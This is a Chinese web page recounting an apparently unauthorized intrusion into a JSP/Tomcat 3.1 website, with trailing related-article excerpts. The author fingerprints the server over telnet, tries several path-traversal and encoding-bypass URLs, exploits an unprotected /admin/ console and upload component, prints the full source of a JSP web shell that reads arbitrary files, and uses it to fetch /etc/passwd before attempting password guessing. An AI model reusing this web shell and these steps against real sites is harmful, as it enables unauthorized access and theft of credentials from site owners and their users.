入侵基于JSP+Tomcat的Web网站实录

js|web

    很偶然的一个机会,浏览到一个网站,页面清新让人感觉很舒服。网站是用JSP开发的,出于个人爱好,我决定测试一下其系统的安全性。

telnet www.target.com 8080
GET /CHINANSL HTTP/1.1
[Enter]
[Enter]

  返回的结果如下:

HTTP/1.0 404 Not Found
Date: Sun, 08 Jul 2001 07:49:13 GMT
Servlet-Engine: Tomcat Web Server/3.1 (JSP 1.1; Servlet 2.2; Java 1.2.2; Linux 2
.2.12 i386; java.vendor=Blackdown Java-Linux Team)
Content-Language: en
Content-Type: text/html
Status: 404

<h1>Error: 404</h1>
<h2>Location: /CHINANSL</h2>File Not Found<br>/CHINANSL

  获得了运行的WEBServer的名称“Tomcat 3.1”。记得曾经发现过这个版本的漏洞,并且post到bugtrap上去过。

  回忆一下,大概是通过“..”技术可以退出WEB目录,于是:

http://target:8080/../../../../%00.jsp (不行)
http://target:8080/file/index.jsp (不行)
http://target:8080/index.JSP (不行)
http://target:8080/index.jsp%81 (不行)
http://target:8080/index.js%70 (不行)
http://target:8080/index.jsp%2581 (不行)
http://target:8080/WEB-INF/ (不行)

  看来安全状况似乎还不错,我们再来进行一下更深层的测试。Tomcat 3.1自带了一个管理工具,可以查看WEB下的目录及文件,并且可以添加context。于是尝试:

http://target:8080/admin/

  管理员果然没有删除或禁止访问这个目录,从安全的角度说,这点应该算是一个比较重要的失误。

  接着,点击“VIEW ALL CONTEXT”按钮,列出了WEB目录下的一些文件和目录的名称,很快发现了一个上传文件的组件,通过这个组件将一个JSP文件上传到对方的WEB目录里:

<%@ page import="java.io.*" %>
<%
String file = request.getParameter("file");
String str = "";
FileInputStream fis = null;
DataInputStream dis = null;
try{
fis = new FileInputStream(file);
dis = new DataInputStream(fis);
while(true){
try{
str = dis.readLine();
}catch(Exception e){}
if(str == null)break;
out.print(str+"<br>");
}
}catch(IOException e){}
%>
  然后执行:

http://target:8080/upload/test.jsp?file=/etc/passwd

  密码出来了。接下来的过程是猜测密码,没有成功。不过,现在相当于有了一个SHELL,猜不出密码可以先把IE当作SHELL环境。

[1] [2] 下一页  

时间: 2024-12-02 06:30:25

入侵基于JSP+Tomcat的Web网站实录的相关文章

3个常用基于Linux系统命令行WEB网站浏览工具(w3m/Links/Lynx)

一般我们常用的浏览器肯定是基于可视化界面的图文结合的浏览界面效果,比如FireFox.Chrome.Opera等等,但是有些时候折腾和项目的需要,在Linux环境中需要查看某个页面的文字字符,我们需要简单的浏览网页页面,但是也不需要特别复杂的视频.图片功能.   我们可以采用本地客户端的浏览然后再去校队,但是效率比较低,或者直接在Linux服务器中用wget类似的下载工具到本地,然后再去搜索字符,今天老左有接触到适合Linux系统环境的WEB网站浏览器工具,常用的有w3m.Links.Lynx三

现场纪实:如何入侵基于JSP的网站

js 编者:<现场纪实>是黑客攻防专区新推出的小版块.在这里我们将陆续为您介绍一些网上黑客入侵的真实案例,与以往从网站安全人员的角度讲述不同,这些案例都是从黑客的角度来描述入侵的全过程.通过这些案例,您可以很清楚了解到黑客在入侵一个网站时所采用的技术手段及采取的策略.涉及具体技术细节,本栏目会做相应处理,因为我们的目的是通过这样的技术交流共同提高网络的安全性,而非恶意攻击他人的计算机. 很偶然的一个机会,浏览到一个网站,页面清新让人感觉很舒服.网站是用JSP开发的,出于个人爱好,我决定测试一下

现场纪实——如何入侵基于JSP的网站

js 很偶然的一个机会,浏览到一个网站,页面清新让人感觉很舒服.网站是用JSP开发的,出于个人爱好,我决定测试一下其系统的安全性. telnet www.target.com 8080GET /CHINANSL HTTP/1.1[Enter][Enter] 返回的结果如下: HTTP/1.0 404 Not FoundDate: Sun, 08 Jul 2001 07:49:13 GMTServlet-Engine: Tomcat Web Server/3.1 (JSP 1.1; Servlet

黑客攻击技术 WEB网站入侵的全过程讲述

以下的文章主要向大家讲述的是黑客攻击技术WEB网站入侵的过程,很偶然的一个机会,看到了一个网站,页面清新也很舒服的感觉.网站是用JSP开发的,由于个人的喜好, 所以我决定看看系统的安全性.telnetwww.target.com 8080 GET/CHINANSLHTTP/1.1 [Enter] [Enter] 返回的结果如下: HTTP/1.0404NotFound Date:Sun,08Jul200107:49:13GMT Servlet-Engine:TomcatWebServer/3.1

JAVA高级:基于JSP的动态网站开发技术

js|动态|高级 动态网站开发技术 早期的动态网站开发技术使用的是CGI-BIN接口.开发人员编写与接口相关的单独的程序和基于Web的应用程序,后者通过Web服务器来调用前者.这种开发技术存在着严重的扩展性问题--每一个新的CGI程序要求在服务器上新增一个进程.如果多个用户并发地访问该程序,这些进程将耗尽该Web服务器所有的可用资源,直至其崩溃. 为克服这一弊端,微软公司提出了Active  Server  Pages(ASP)技术,该技术利用"插件"和API简化了Web应用程序的开发

基于JSP的动态网站开发技术_JSP编程

随着Web技术的发展和电子商务时代的到来,人们不再满足于建立各种静态地发布信息的网站,更多的时候需要能与用户进行交互,并能提供后台数据库的管理和控制等服务的动态网站. 动态网站开发技术 早期的动态网站开发技术使用的是CGI-BIN接口.开发人员编写与接口相关的单独的程序和基于Web的应用程序,后者通过Web服务器来调用前者.这种开发技术存在着严重的扩展性问题--每一个新的CGI程序要求在服务器上新增一个进程.如果多个用户并发地访问该程序,这些进程将耗尽该Web服务器所有的可用资源,直至其崩溃.

tomcat-学生信息管理系统基于jsp+ SQL+Tomcat 的动态网页可以运行的

问题描述 学生信息管理系统基于jsp+ SQL+Tomcat 的动态网页可以运行的 学生信息管理系统基于jsp+ SQL+Tomcat 的动态网页可以运行的 解决方案 http://download.csdn.net/detail/fly_yr/4949221 解决方案二: 这样的系统有很多 http://download.csdn.net/detail/qq398581645/4798860http://download.csdn.net/download/taiyouqule/4417353

网页制作-JSP tomcat建立网站的应用问题

问题描述 JSP tomcat建立网站的应用问题 tomcat已成功启动 但是网页却打不开 问题出在哪里 跪求各位大神帮忙 解决方案 你的应用部署到tomcate中了吗?是不是你的应用配置有问题,还是工程代码有问题? 解决方案二: tomcat 7 JSP无法编译问题的解决---------------------- 解决方案三: 应用放到tomcat的webapp中,然后访问路径别打错了就ok

政府Web网站的创建与管理(下)(2)

web|创建 前面我们已经介绍了Apache,下面再介绍一下Tomcat服务器软件.Tomcat是Sun和Apache合作做出来的JSPServer,支持到Servlet2.2及JSP1.1.建议使用Tomcat,而且Tomcat未来将会取代JServ,成为Apache主要的Servlet&JSPEngine.Tomcat在设计上是以独立的Server执行,而不像Jserv是附在Apache中,这样就更可以发挥在servlet中,非HttpServlet的能力.Tomcat是Java程序,所以只